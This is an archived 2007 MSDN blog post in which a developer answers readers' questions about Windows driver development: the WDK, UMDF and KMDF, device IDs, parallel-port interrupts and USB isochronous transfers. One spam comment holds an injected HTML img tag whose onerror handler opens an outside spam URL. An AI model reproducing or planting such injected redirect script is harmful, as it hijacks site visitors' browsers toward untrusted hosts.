Welcome to MSDN Blogs Sign in | Join | Help

Questions for me

During the last few months I've received many driver-related questions either as emails or as comments in my posts. Since many people might have the same or similar problems, I would like to use this post as a way for you to ask me any questions that might be related to drivers, debugging, low-level windows programming, etc. Of course, since the nature of this blog is introductory, I would prefer it, if the questions are of the same level. Of course, I'll try to do my best and answer your questions as accurately as I can, however keep in mind that for mode advanced questions you can ask Peter Wieland (for user-mode drivers) or Doron Holan (for kernel-mode drivers). Finally, keep in mind, that my main area of focus is UMDF :)
Published Wednesday, January 24, 2007 6:14 PM by iliast

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Comments

Thursday, January 25, 2007 7:04 AM by Sai Laxmi

# re: Questions for me

Hi Ilias,

 I'm a new bee to driver development and your blog was most helpful. I was almost lost figuring out the basics for driver writing. Thank you very much for your wonderful blog. I need one help from you. Can DDK be used for WDF model too? Or do we need something else? Thanks for taking your time.

Thursday, January 25, 2007 7:53 AM by iliast

# re: Questions for me

Hi Sai,

I'm glad that you find my blog helpful. In order to use the WDF, you need to download the WDK (Windows Driver Kit), which is the "successor" of the DDK. You can download the WDK for free by following the instructions at http://www.microsoft.com/whdc/devtools/wdk/betawdk.mspx

Just keep in mind that it's around 3gb (so you need a broadband internet connection).

Also, you can look at http://blogs.msdn.com/doronh/archive/2006/12/21/where-are-the-wdf-files-in-the-wdk.aspx in order to find the location of the WDF files in the WDK.

Monday, January 29, 2007 12:41 AM by Sai Laxmi

# Thanks a lot

Thanks a lot Ilias. Thanks for taking time for answering my question.

Wednesday, January 31, 2007 3:20 PM by Victor

# re: Questions for me

Hi Ilias,

Our product has several kernel mode drivers - file system drivers, process monitors, network redirectors, etc., because of which installing our product requires a reboot. For Longhorn certification, we need to eliminate reboots. Is there a way to do that? Will porting our drivers to KMDF or any other model help eliminate reboots?

Thanks.

Friday, February 09, 2007 4:59 AM by Amit Hegde

# re: Questions for me

Hi,

I am trying to execute the Device Path Exerciser v 3.2 with the Active Control Test option and I get the message

Invalid Active File Name <fileName>

where <fileName> is the name of the input file supplied by be

Thanks & regards

Amit Hegde

Saturday, February 10, 2007 6:33 PM by iliast

# re: Questions for me

Hi Amit,

According to http://www.osronline.com/article.cfm?id=319 (you need to register for free), the <filename> is actually the NT device name, e.g. \Device\null. Alternatively you can try using the "/dr <drivername>" option. The above link provides good information and I suggest that you read it first. If you have more questions/problems, then I'll be glad to help.

Saturday, February 10, 2007 6:42 PM by iliast

# re: Questions for me

Hi Viktor,

I think that your question was answered by Doron Holan at http://blogs.msdn.com/doronh/archive/2006/07/10/661475.aspx

Tuesday, February 13, 2007 10:24 AM by Stephen Paterson

# re: Questions for me

Hello Ilias,

Do you have any IDE recommendations for driver development?  I'm moving from VC6 and DriverWorks to VS2005, WDF and OSR's DDKBUILD and I'm finding that I really miss VC6 help and browse integration.

Is it possible to integrate WDK help in VS2005?

Is there a trick to getting VS2005 to work with Build-generated browse info.  The method recommended by Hollis (add .bsc to project) works... but not very well.  VS2005 keeps the .bsc file open so Build can't update it.  The .bsc must be manually removed from the project before each build and re-added after.

Thanks for your help and advice.

Cheers,

   Steve

Thursday, February 15, 2007 3:44 AM by iliast

# re: Questions for me

Hi Stephen,

Unfortunately, right now the DDKBUILD (http://www.hollistech.com/Resources/ddkbuild/ddkbuild.htm) is your best shot, if you want to use Visual Studio. Just keep in mind the addition that is discussed at http://www.osronline.com/ShowThread.cfm?link=102025. I don't know of any tricks that might help with the browse integration or the WDK integration. These are 2 valid needs, though, and hopefully the Visual Studio developers will take them into consideration, while planning their next releases.

I still haven't finalized my opinion about my preffered IDE. I've tried a few editors, however my 2 final choices were Visual Studio (too heavy) and Source Insight (much lighter, but some VS features might not be there). Right now I'm leaning towards Source Insight, so I also open a seperate console to do the compilation and a seperate window with the WDK. I'm still open for change, though :)

Thursday, February 15, 2007 10:15 AM by Stephen Paterson

# re: Questions for me

Thanks Ilias, I'll check out Source Insight.  

I'm using OSR's version of DDKBUILD (http://www.osronline.com/article.cfm?article=43).  It's got the fix you mention and other helpful features as well.

I'm trying out Visual Assist X (http://www.wholetomato.com) and quite like it so far.  If I come across a way to integrate WDK help in VS2005 I'll pass it along.

Cheers,

   Steve

Friday, February 16, 2007 12:35 AM by iliast

# re: Questions for me

Sure, that would be great. I think that the topic might be interesting in finding out, what IDEs are being used for driver development, so I created a poll at http://blogs.msdn.com/iliast/archive/2007/02/15/poll-which-ides-are-being-used-by-driver-developers.aspx

Monday, March 05, 2007 2:21 AM by ...

# re: Questions for me

luogo interessante, soddisfare interessante, buon!

Tuesday, March 13, 2007 6:26 AM by ...

# re: Questions for me

E evidente che il luogo e stato fatto dalla persona che realmente conosce il mestiere!

Monday, March 19, 2007 6:51 PM by ayday

# re: Questions for me

nice site!

Wednesday, March 21, 2007 12:16 AM by googlexp

# re: Questions for me

I'm very interested in learning Windows driver development, are you going to write a book on this topic? I trust you'll do a fantastic job!

Wednesday, March 21, 2007 2:45 AM by iliast

# re: Questions for me

Hi googlexp,

I still have a really long (and hard) way to go, before being able to write a book about driver development. Thanks a lot for your good words, though :)

Wednesday, March 21, 2007 9:09 PM by yday

# re: Questions for me

your site is very good

Friday, March 23, 2007 4:27 PM by Samme Lansdowne

# re: Questions for me

I've been reading all the WDK documentation on how the operating system decides which driver to use with a device, and I still have a question.  Does the device have to transmit some kind of device ID?

I'm trying to interface an aircraft cursor control device to Windows XP so we can test it for possible spacecraft use.  So the hardware was never designed to work with Windows.

Saturday, March 24, 2007 2:15 PM by iliast

# re: Questions for me

Hi Samme,

the way that each device is discovered depends on the bus that it is connected to. For example, the USB devices have a certain discovery protocol. More specifically (and possibly a bit simplified), the windows USB bus driver discovers each new USB device, the moment that it gets connected to the USB bus (or when Windows boots). Afterwards, the USB bus driver asks for the Hardware ID of the device, as well as the compatible ids. The Hardware ID corresponds to the exact ID that identifies the particular model. The compatible IDs correspond to other models that are very compatible. (if you go to device manager -> right click on almost any device, e.g. your graphics card -> properties -> Details -> you can check the list and look at the hardware ID and the compatible IDs of your device). So, windows gets all these ids and goes through its internal database of device IDs and tries to find if either the hardware id or the compatible ids are found in it. If it finds any of them, then it loads the corresponding driver. If not, then it asks the user to install a driver. If you open a .inf file, then you'll see inside it, it includes references to hardware ids and compatible ids. So, when you install an .inf file, you actually populate the OS' database that includes the device IDs and you link each id with the file that includes the corresponding driver.

The above description was a bit simplified, but you can find a very good presentation of the subject at http://channel9.msdn.com/ShowPost.aspx?PostID=156316

Wednesday, April 18, 2007 1:08 PM by Floris

# re: Questions for me

Hello,

you've really got a nice blog! It already helped me a lot. I've got a problem now though.

I built a very simple IR receiver which triggers interrupts on the parallel port when it receives signals. I wanted to write a driver which handles those interrupts and calculates the time between them, to find out which button was pressed on the remote control. Before this project, I didn't know anything about writing drivers, so it took me some time to learn the basics, and I still don't know everything about it, but at least I know a lot more than when I started. :)

Now my problem. It seems that in order to get it working correctly, I have to call several functions in my DriverEntry routine in a specific order. I think they are: IoReportResourceForDetection - IoCreateDevice - IoCreateSymbolicLink - IoInitializeDpcRequest - IoConnectInterrupt.

The problem is I'm not sure which parameters to pass to IoReportResourceForDetection (what I should put in the PCM_RESOURCE_LIST struct and how I should get that information) and I couldn't find anything on internet about it.

Also, someone suggested that I should use KeInitializeDpc instead of IoInitializeDpcRequest for reasons I don't understand. Maybe you know that?

I just hope you could give me some information and tips about writing such a driver. It has to be able to handle interrupts coming from the parallel port and to measure the time between interrupts.

Also, do you know how (and if) it is possible for Windows to detect it when I plug my IR receiver into to parallel port? I read a bit about it and it seems that plug and play hardware gets detected automatically, but that the parallel port does not support that (and my very simple IR receiver also probably not). But the parallel port has an option in the Device Manager 'Enable legacy plug and play support', so it should be able to detect something. Do you know how I could modify my IR receiver so it will be detected by my computer? Currently it is only connected to the Acknowledgement (interrupt) pin and one of the ground pins. Do I need to connect it to several other pins for that?

I really appreciate you put so much time and effort in helping people out. I hope you can also help me out with my problem. I'd really like to get this IR receiver working :)

Floris

Sunday, April 29, 2007 7:56 PM by chunhua

# re: Questions for me

Hi,

 I'm a new bee to driver development, my question is shall I learn WDM before learn WDF?

And where I can download WDK? Thank you.

Tuesday, July 31, 2007 11:40 AM by Philip

# UMDF versus KMDF

I am planning to write a remote HTTP transport virtual file system application and from what I have read the UMDF architecture may be a good choice.  I will of course NOT have the usual hardware specific considerations which may a KMDF a better choice when real hardware is involved.

What do you think.  Is the UMDF architecture a good choice for a remote HTTP transport virtual file syetm application, assuming I can live with only XP and Vista support ???

Thursday, September 06, 2007 3:41 AM by Hatish

# re: Questions for me

Hi,

Im wondering if you can tell me how useful WDK is to my problem. I want to write an application that accesses the unused HDD space on multiple machines on the network, and combines them to show as a "drive" on the local machine. It will be controlled by a service, which controls all the read/write calls to the "drive". I've written the back-end which keeps track of the files and where they are located on the network. Currently the front end only allows one to upload/download files to this "Network Drive". I want to now upgrade that to a show as a "drive" on everyones local machine. From what research I've done, I understand that I need a driver to be able to show the drive, and to redirect the read/write calls accordingly. Will I be able to create such a driver using WDK? Is a driver even necessary (not 100% sure)? Any help is appreciated... (BTW, never done driver dev before, and project is in C#, .NET 2.0)

Wednesday, October 17, 2007 11:33 AM by Suresh P

# Using SDV and Driver Verifier

Hi

I would like to know usage of Static Driver Verifier) and Driver Verified. My questions are

1. For KMDF driver testing we need to use both driver and SDV ?

2. Can i use driver verfier for UMDF based drivers ?

3. If driver passes thru SDV  what are the chances it works with driver verifier ?

Monday, February 18, 2008 6:00 AM by Amit

# re: Questions for me

Hi Ilias, can you suggest me some book on dealing with vista device drive, especially its display driver model.Thanx

Friday, April 11, 2008 10:19 AM by Memmorium

# re: Questions for me

     Good idea!

P.S. A U realy girl?

Saturday, April 12, 2008 7:40 AM by mypicst

# re: Questions for me

my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

Thursday, September 25, 2008 4:17 PM by Ben Myers

# re: Questions for me

I think I lost my driver for the CDROM. When I boot up, the message says: CDROM not recognized or something like that. To me, that says the PC knows that there was once a CDROM and now there is none. Otherwise, why would it even bother?

I have a HP Omnibook 5700 with  Win98ME and a TEAC CDROM 224E.

Do you have any idea what I should do?

Thanks. Ben Myers  bemye@hotmail.com

Monday, September 29, 2008 8:28 AM by Ashish Gupta

# re: Questions for me

I am inserting a pcie driver with Pnp and first time i insert i see the log messages in Windbg for the driver. If i make some change, remove and reinsert the driver i see log message of the old driver without any of my changes. I suspect the inf file is using some stale copy of driver. My Inf file is coping at \system32\drivers. I even deleted from all locations where i found copy of my driver and reinserted still it shows the old logs without changes i did. When i reboot the system i see log corresponding to my changes. Any hints on whats going wrong shall re very useful

My email is ashish.gupta@xilinx.com

Thanks

Thursday, January 29, 2009 12:31 AM by Harsh Kumar

# re: Questions for me

Hi,

I am trying to make a WebCam Driver for Creative WebCam VendorID: 0AC8

ProductID: 307B.

I am able to install the driver and am also able to attach the device

successfully. Then I set Alternate Setting and endpoint. After this i try do perform Isochronous Transfer using

lpusb->lpIssueIsochTransfer

The hTransfer is successful, but when I try to save the data which is present in the Data Buffer in a file of bmp format, it says 0 bytes written.

Then I tried to print the Data Buffer directly and it also shows 0.

Can you please point me in the directtion by which I can successfully capture my first frame.

**Data Buffer is the internal memory which I have allocated using LocalAlloc.

Harsh

Tuesday, May 05, 2009 7:10 PM by Randall

# re: Questions for me

I'm perplexed about driver naming when the vista driver installer pops up.  In my INF file I have a "Provider=ACME" directive.  My device is a USB device I call the "Rocket", thus my device driver is called rocket.dll.   When vista pops up, I would expect to see:

Name: ACME Rocket    <<-- or just plain ACME

Publisher: ACME, Inc.(Test)

Instead I see:

Name: ACME Universal Serial Bus controller

Publisher: AMCE, Inc.(Test)

Where is the "Universial Serial Bus controller" tag coming from?  Its not in my INF, and its not part of the coinstaller DLLs that I can see.

When someone plugs in the Rocket, I want them to see a warning for install drivers for "ACME Rocket", not some "ACME Universal Serial Bus controller".

Any help would be appreciated.  From anyone.

Email: r.barber 'at' mw-inc.com

Leave a Comment

(required) 
required 
(required) 

  
Enter Code Here: Required
 
Page view tracker